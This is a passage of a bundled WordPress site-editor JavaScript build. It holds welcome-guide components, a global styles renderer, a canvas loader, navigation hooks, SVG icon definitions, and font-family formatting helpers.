isStylesOpen: sidebar === 'edit-site/global-styles'
};
}, []);
if (!isActive || !isStylesOpen) {
return null;
}
const welcomeLabel = (0,external_wp_i18n_namespaceObject.__)('Welcome to Styles');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
className: "edit-site-welcome-guide guide-styles",
contentLabel: welcomeLabel,
finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
onFinish: () => toggle('core/edit-site', 'welcomeGuideStyles'),
pages: [{
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.svg?1",
animatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.gif?1"
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: welcomeLabel
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)('Tweak your site, or give it a whole new look! Get creative — how about a new color palette for your buttons, or choosing a new font? Take a look at what you can do here.')
})]
})
}, {
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
nonAnimatedSrc: "https://s.w.org/images/block-editor/set-the-design.svg?1",
animatedSrc: "https://s.w.org/images/block-editor/set-the-design.gif?1"
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: (0,external_wp_i18n_namespaceObject.__)('Set the design')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)('You can customize your site as much as you like with different colors, typography, and layouts. Or if you prefer, just leave it up to your theme to handle!')
})]
})
}, {
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
nonAnimatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.svg?1",
animatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.gif?1"
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: (0,external_wp_i18n_namespaceObject.__)('Personalize blocks')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)('You can adjust your blocks to ensure a cohesive experience across your site — add your unique colors to a branded Button block, or adjust the Heading block to your preferred size.')
})]
})
}, {
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: (0,external_wp_i18n_namespaceObject.__)('Learn more')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", {
className: "edit-site-welcome-guide__text",
children: [(0,external_wp_i18n_namespaceObject.__)('New to block themes and styling your site?'), ' ', /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/styles-overview/'),
children: (0,external_wp_i18n_namespaceObject.__)('Here’s a detailed guide to learn how to make the most of it.')
})]
})]
})
}]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/page.js
/**
* WordPress dependencies
*/
function WelcomeGuidePage() {
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const isVisible = (0,external_wp_data_namespaceObject.useSelect)(select => {
const isPageActive = !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuidePage');
const isEditorActive = !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuide');
return isPageActive && !isEditorActive;
}, []);
if (!isVisible) {
return null;
}
const heading = (0,external_wp_i18n_namespaceObject.__)('Editing a page');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
className: "edit-site-welcome-guide guide-page",
contentLabel: heading,
finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Continue'),
onFinish: () => toggle('core/edit-site', 'welcomeGuidePage'),
pages: [{
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("video", {
className: "edit-site-welcome-guide__video",
autoPlay: true,
loop: true,
muted: true,
width: "312",
height: "240",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
src: "https://s.w.org/images/block-editor/editing-your-page.mp4",
type: "video/mp4"
})
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: heading
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)(
// eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
'It’s now possible to edit page content in the site editor. To customise other parts of the page like the header and footer switch to editing the template using the settings sidebar.')
})]
})
}]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/template.js
/**
* WordPress dependencies
*/
function WelcomeGuideTemplate() {
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const {
isActive,
hasPreviousEntity
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEditorSettings
} = select(external_wp_editor_namespaceObject.store);
const {
get
} = select(external_wp_preferences_namespaceObject.store);
return {
isActive: get('core/edit-site', 'welcomeGuideTemplate'),
hasPreviousEntity: !!getEditorSettings().onNavigateToPreviousEntityRecord
};
}, []);
const isVisible = isActive && hasPreviousEntity;
if (!isVisible) {
return null;
}
const heading = (0,external_wp_i18n_namespaceObject.__)('Editing a template');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
className: "edit-site-welcome-guide guide-template",
contentLabel: heading,
finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Continue'),
onFinish: () => toggle('core/edit-site', 'welcomeGuideTemplate'),
pages: [{
image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("video", {
className: "edit-site-welcome-guide__video",
autoPlay: true,
loop: true,
muted: true,
width: "312",
height: "240",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
src: "https://s.w.org/images/block-editor/editing-your-template.mp4",
type: "video/mp4"
})
}),
content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
className: "edit-site-welcome-guide__heading",
children: heading
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-welcome-guide__text",
children: (0,external_wp_i18n_namespaceObject.__)('Note that the same template can be used by multiple pages, so any changes made here may affect other pages on the site. To switch back to editing the page content click the ‘Back’ button in the toolbar.')
})]
})
}]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/index.js
/**
* Internal dependencies
*/
function WelcomeGuide({
postType
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideEditor, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideStyles, {}), postType === 'page' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuidePage, {}), postType === 'wp_template' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideTemplate, {})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-renderer/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStylesOutput
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useGlobalStylesRenderer(disableRootPadding) {
const [styles, settings] = useGlobalStylesOutput(disableRootPadding);
const {
getSettings
} = (0,external_wp_data_namespaceObject.useSelect)(store);
const {
updateSettings
} = (0,external_wp_data_namespaceObject.useDispatch)(store);
(0,external_wp_element_namespaceObject.useEffect)(() => {
var _currentStoreSettings;
if (!styles || !settings) {
return;
}
const currentStoreSettings = getSettings();
const nonGlobalStyles = Object.values((_currentStoreSettings = currentStoreSettings.styles) !== null && _currentStoreSettings !== void 0 ? _currentStoreSettings : []).filter(style => !style.isGlobalStyles);
updateSettings({
...currentStoreSettings,
styles: [...nonGlobalStyles, ...styles],
__experimentalFeatures: settings
});
}, [styles, settings, updateSettings, getSettings]);
}
function GlobalStylesRenderer({
disableRootPadding
}) {
useGlobalStylesRenderer(disableRootPadding);
return null;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/canvas-loader/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Theme
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
useGlobalStyle: canvas_loader_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function CanvasLoader({
id
}) {
var _highlightedColors$0$;
const [fallbackIndicatorColor] = canvas_loader_useGlobalStyle('color.text');
const [backgroundColor] = canvas_loader_useGlobalStyle('color.background');
const {
highlightedColors
} = useStylesPreviewColors();
const indicatorColor = (_highlightedColors$0$ = highlightedColors[0]?.color) !== null && _highlightedColors$0$ !== void 0 ? _highlightedColors$0$ : fallbackIndicatorColor;
const {
elapsed,
total
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
var _selectorsByStatus$re, _selectorsByStatus$fi;
const selectorsByStatus = select(external_wp_coreData_namespaceObject.store).countSelectorsByStatus();
const resolving = (_selectorsByStatus$re = selectorsByStatus.resolving) !== null && _selectorsByStatus$re !== void 0 ? _selectorsByStatus$re : 0;
const finished = (_selectorsByStatus$fi = selectorsByStatus.finished) !== null && _selectorsByStatus$fi !== void 0 ? _selectorsByStatus$fi : 0;
return {
elapsed: finished,
total: finished + resolving
};
}, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-canvas-loader",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Theme, {
accent: indicatorColor,
background: backgroundColor,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {
id: id,
max: total,
value: elapsed
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-navigate-to-entity-record.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: use_navigate_to_entity_record_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useNavigateToEntityRecord() {
const history = use_navigate_to_entity_record_useHistory();
const onNavigateToEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(params => {
history.navigate(`/${params.postType}/${params.postId}?canvas=edit&focusMode=true`);
}, [history]);
return onNavigateToEntityRecord;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-site-editor-settings.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: use_site_editor_settings_useLocation,
useHistory: use_site_editor_settings_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useNavigateToPreviousEntityRecord() {
const location = use_site_editor_settings_useLocation();
const previousLocation = (0,external_wp_compose_namespaceObject.usePrevious)(location);
const history = use_site_editor_settings_useHistory();
const goBack = (0,external_wp_element_namespaceObject.useMemo)(() => {
const isFocusMode = location.query.focusMode || location?.params?.postId && FOCUSABLE_ENTITIES.includes(location?.params?.postType);
const didComeFromEditorCanvas = previousLocation?.query.canvas === 'edit';
const showBackButton = isFocusMode && didComeFromEditorCanvas;
return showBackButton ? () => history.back() : undefined;
// `previousLocation` changes when the component updates for any reason, not
// just when location changes. Until this is fixed we can't add it to deps. See
// https://github.com/WordPress/gutenberg/pull/58710#discussion_r1479219465.
}, [location, history]);
return goBack;
}
function useSpecificEditorSettings() {
const {
query
} = use_site_editor_settings_useLocation();
const {
canvas = 'view'
} = query;
const onNavigateToEntityRecord = useNavigateToEntityRecord();
const {
settings
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = select(store);
return {
settings: getSettings()
};
}, []);
const onNavigateToPreviousEntityRecord = useNavigateToPreviousEntityRecord();
const defaultEditorSettings = (0,external_wp_element_namespaceObject.useMemo)(() => {
return {
...settings,
richEditingEnabled: true,
supportsTemplateMode: true,
focusMode: canvas !== 'view',
onNavigateToEntityRecord,
onNavigateToPreviousEntityRecord,
isPreviewMode: canvas === 'view'
};
}, [settings, canvas, onNavigateToEntityRecord, onNavigateToPreviousEntityRecord]);
return defaultEditorSettings;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/plugin-template-setting-panel/index.js
/**
* Defines an extensibility slot for the Template sidebar.
*/
/**
* WordPress dependencies
*/
const {
Fill,
Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginTemplateSettingPanel');
const PluginTemplateSettingPanel = ({
children
}) => {
external_wp_deprecated_default()('wp.editSite.PluginTemplateSettingPanel', {
since: '6.6',
version: '6.8',
alternative: 'wp.editor.PluginDocumentSettingPanel'
});
const isCurrentEntityTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_editor_namespaceObject.store).getCurrentPostType() === 'wp_template', []);
if (!isCurrentEntityTemplate) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, {
children: children
});
};
PluginTemplateSettingPanel.Slot = Slot;
/**
* Renders items in the Template Sidebar below the main information
* like the Template Card.
*
* @deprecated since 6.6. Use `wp.editor.PluginDocumentSettingPanel` instead.
*
* @example
* ```jsx
* // Using ESNext syntax
* import { PluginTemplateSettingPanel } from '@wordpress/edit-site';
*
* const MyTemplateSettingTest = () => (
* <PluginTemplateSettingPanel>
* <p>Hello, World!</p>
* </PluginTemplateSettingPanel>
* );
* ```
*
* @return {Component} The component to be rendered.
*/
/* harmony default export */ const plugin_template_setting_panel = (PluginTemplateSettingPanel);
;// ./node_modules/@wordpress/icons/build-module/library/seen.js
/**
* WordPress dependencies
*/
const seen = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z"
})
});
/* harmony default export */ const library_seen = (seen);
;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
/**
* WordPress dependencies
*/
const moreVertical = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"
})
});
/* harmony default export */ const more_vertical = (moreVertical);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/icon-with-current-color.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function IconWithCurrentColor({
className,
...props
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
className: dist_clsx(className, 'edit-site-global-styles-icon-with-current-color'),
...props
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/navigation-button.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function GenericNavigationButton({
icon,
children,
...props
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItem, {
...props,
children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
icon: icon,
size: 24
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: children
})]
}), !icon && children]
});
}
function NavigationButtonAsItem(props) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Button, {
as: GenericNavigationButton,
...props
});
}
function NavigationBackButtonAsItem(props) {
return /*#__PURE__*/_jsx(Navigator.BackButton, {
as: GenericNavigationButton,
...props
});
}
;// ./node_modules/@wordpress/icons/build-module/library/typography.js
/**
* WordPress dependencies
*/
const typography = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M6.9 7L3 17.8h1.7l1-2.8h4.1l1 2.8h1.7L8.6 7H6.9zm-.7 6.6l1.5-4.3 1.5 4.3h-3zM21.6 17c-.1.1-.2.2-.3.2-.1.1-.2.1-.4.1s-.3-.1-.4-.2c-.1-.1-.1-.3-.1-.6V12c0-.5 0-1-.1-1.4-.1-.4-.3-.7-.5-1-.2-.2-.5-.4-.9-.5-.4 0-.8-.1-1.3-.1s-1 .1-1.4.2c-.4.1-.7.3-1 .4-.2.2-.4.3-.6.5-.1.2-.2.4-.2.7 0 .3.1.5.2.8.2.2.4.3.8.3.3 0 .6-.1.8-.3.2-.2.3-.4.3-.7 0-.3-.1-.5-.2-.7-.2-.2-.4-.3-.6-.4.2-.2.4-.3.7-.4.3-.1.6-.1.8-.1.3 0 .6 0 .8.1.2.1.4.3.5.5.1.2.2.5.2.9v1.1c0 .3-.1.5-.3.6-.2.2-.5.3-.9.4-.3.1-.7.3-1.1.4-.4.1-.8.3-1.1.5-.3.2-.6.4-.8.7-.2.3-.3.7-.3 1.2 0 .6.2 1.1.5 1.4.3.4.9.5 1.6.5.5 0 1-.1 1.4-.3.4-.2.8-.6 1.1-1.1 0 .4.1.7.3 1 .2.3.6.4 1.2.4.4 0 .7-.1.9-.2.2-.1.5-.3.7-.4h-.3zm-3-.9c-.2.4-.5.7-.8.8-.3.2-.6.2-.8.2-.4 0-.6-.1-.9-.3-.2-.2-.3-.6-.3-1.1 0-.5.1-.9.3-1.2s.5-.5.8-.7c.3-.2.7-.3 1-.5.3-.1.6-.3.7-.6v3.4z"
})
});
/* harmony default export */ const library_typography = (typography);
;// ./node_modules/@wordpress/icons/build-module/library/color.js
/**
* WordPress dependencies
*/
const color = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z"
})
});
/* harmony default export */ const library_color = (color);
;// ./node_modules/@wordpress/icons/build-module/library/background.js
/**
* WordPress dependencies
*/
const background = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M11.53 4.47a.75.75 0 1 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm5 1a.75.75 0 1 0-1.06 1.06l2 2a.75.75 0 1 0 1.06-1.06l-2-2Zm-11.06 10a.75.75 0 0 1 1.06 0l2 2a.75.75 0 1 1-1.06 1.06l-2-2a.75.75 0 0 1 0-1.06Zm.06-5a.75.75 0 0 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm-.06-3a.75.75 0 0 1 1.06 0l10 10a.75.75 0 1 1-1.06 1.06l-10-10a.75.75 0 0 1 0-1.06Zm3.06-2a.75.75 0 0 0-1.06 1.06l10 10a.75.75 0 1 0 1.06-1.06l-10-10Z"
})
});
/* harmony default export */ const library_background = (background);
;// ./node_modules/@wordpress/icons/build-module/library/shadow.js
/**
* WordPress dependencies
*/
const shadow = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z"
})
});
/* harmony default export */ const library_shadow = (shadow);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/root-menu.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHasDimensionsPanel,
useHasTypographyPanel,
useHasColorPanel,
useGlobalSetting: root_menu_useGlobalSetting,
useSettingsForBlockElement,
useHasBackgroundPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function RootMenu() {
const [rawSettings] = root_menu_useGlobalSetting('');
const settings = useSettingsForBlockElement(rawSettings);
/*
* Use the raw settings to determine if the background panel should be displayed,
* as the background panel is not dependent on the block element settings.
*/
const hasBackgroundPanel = useHasBackgroundPanel(rawSettings);
const hasTypographyPanel = useHasTypographyPanel(settings);
const hasColorPanel = useHasColorPanel(settings);
const hasShadowPanel = true; // useHasShadowPanel( settings );
const hasDimensionsPanel = useHasDimensionsPanel(settings);
const hasLayoutPanel = hasDimensionsPanel;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
children: [hasTypographyPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
icon: library_typography,
path: "/typography",
children: (0,external_wp_i18n_namespaceObject.__)('Typography')
}), hasColorPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
icon: library_color,
path: "/colors",
children: (0,external_wp_i18n_namespaceObject.__)('Colors')
}), hasBackgroundPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
icon: library_background,
path: "/background",
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Background styles'),
children: (0,external_wp_i18n_namespaceObject.__)('Background')
}), hasShadowPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
icon: library_shadow,
path: "/shadows",
children: (0,external_wp_i18n_namespaceObject.__)('Shadows')
}), hasLayoutPanel && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
icon: library_layout,
path: "/layout",
children: (0,external_wp_i18n_namespaceObject.__)('Layout')
})]
})
});
}
/* harmony default export */ const root_menu = (RootMenu);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/preview-styles.js
function findNearest(input, numbers) {
// If the numbers array is empty, return null
if (numbers.length === 0) {
return null;
}
// Sort the array based on the absolute difference with the input
numbers.sort((a, b) => Math.abs(input - a) - Math.abs(input - b));
// Return the first element (which will be the nearest) from the sorted array
return numbers[0];
}
function extractFontWeights(fontFaces) {
const result = [];
fontFaces.forEach(face => {
const weights = String(face.fontWeight).split(' ');
if (weights.length === 2) {
const start = parseInt(weights[0]);
const end = parseInt(weights[1]);
for (let i = start; i <= end; i += 100) {
result.push(i);
}
} else if (weights.length === 1) {
result.push(parseInt(weights[0]));
}
});
return result;
}
/*
* Format the font family to use in the CSS font-family property of a CSS rule.
*
* The input can be a string with the font family name or a string with multiple font family names separated by commas.
* It follows the recommendations from the CSS Fonts Module Level 4.
* https://www.w3.org/TR/css-fonts-4/#font-family-prop
*
* @param {string} input - The font family.
* @return {string} The formatted font family.
*
* Example:
* formatFontFamily( "Open Sans, Font+Name, sans-serif" ) => '"Open Sans", "Font+Name", sans-serif'
* formatFontFamily( "'Open Sans', generic(kai), sans-serif" ) => '"Open Sans", sans-serif'
* formatFontFamily( "DotGothic16, Slabo 27px, serif" ) => '"DotGothic16","Slabo 27px",serif'
* formatFontFamily( "Mine's, Moe's Typography" ) => `"mine's","Moe's Typography"`
*/
function formatFontFamily(input) {
// Matches strings that are not exclusively alphabetic characters or hyphens, and do not exactly follow the pattern generic(alphabetic characters or hyphens).
const regex = /^(?!generic\([ a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/;
const output = input.trim();
const formatItem = item => {
item = item.trim();
if (item.match(regex)) {
// removes leading and trailing quotes.
item = item.replace(/^["']|["']$/g, '');
return `"${item}"`;
}
return item;
};
if (output.includes(',')) {
return output.split(',').map(formatItem).filter(item => item !== '').join(', ');
}
return formatItem(output);
}
/*
* Format the font face name to use in the font-family property of a font face.
*
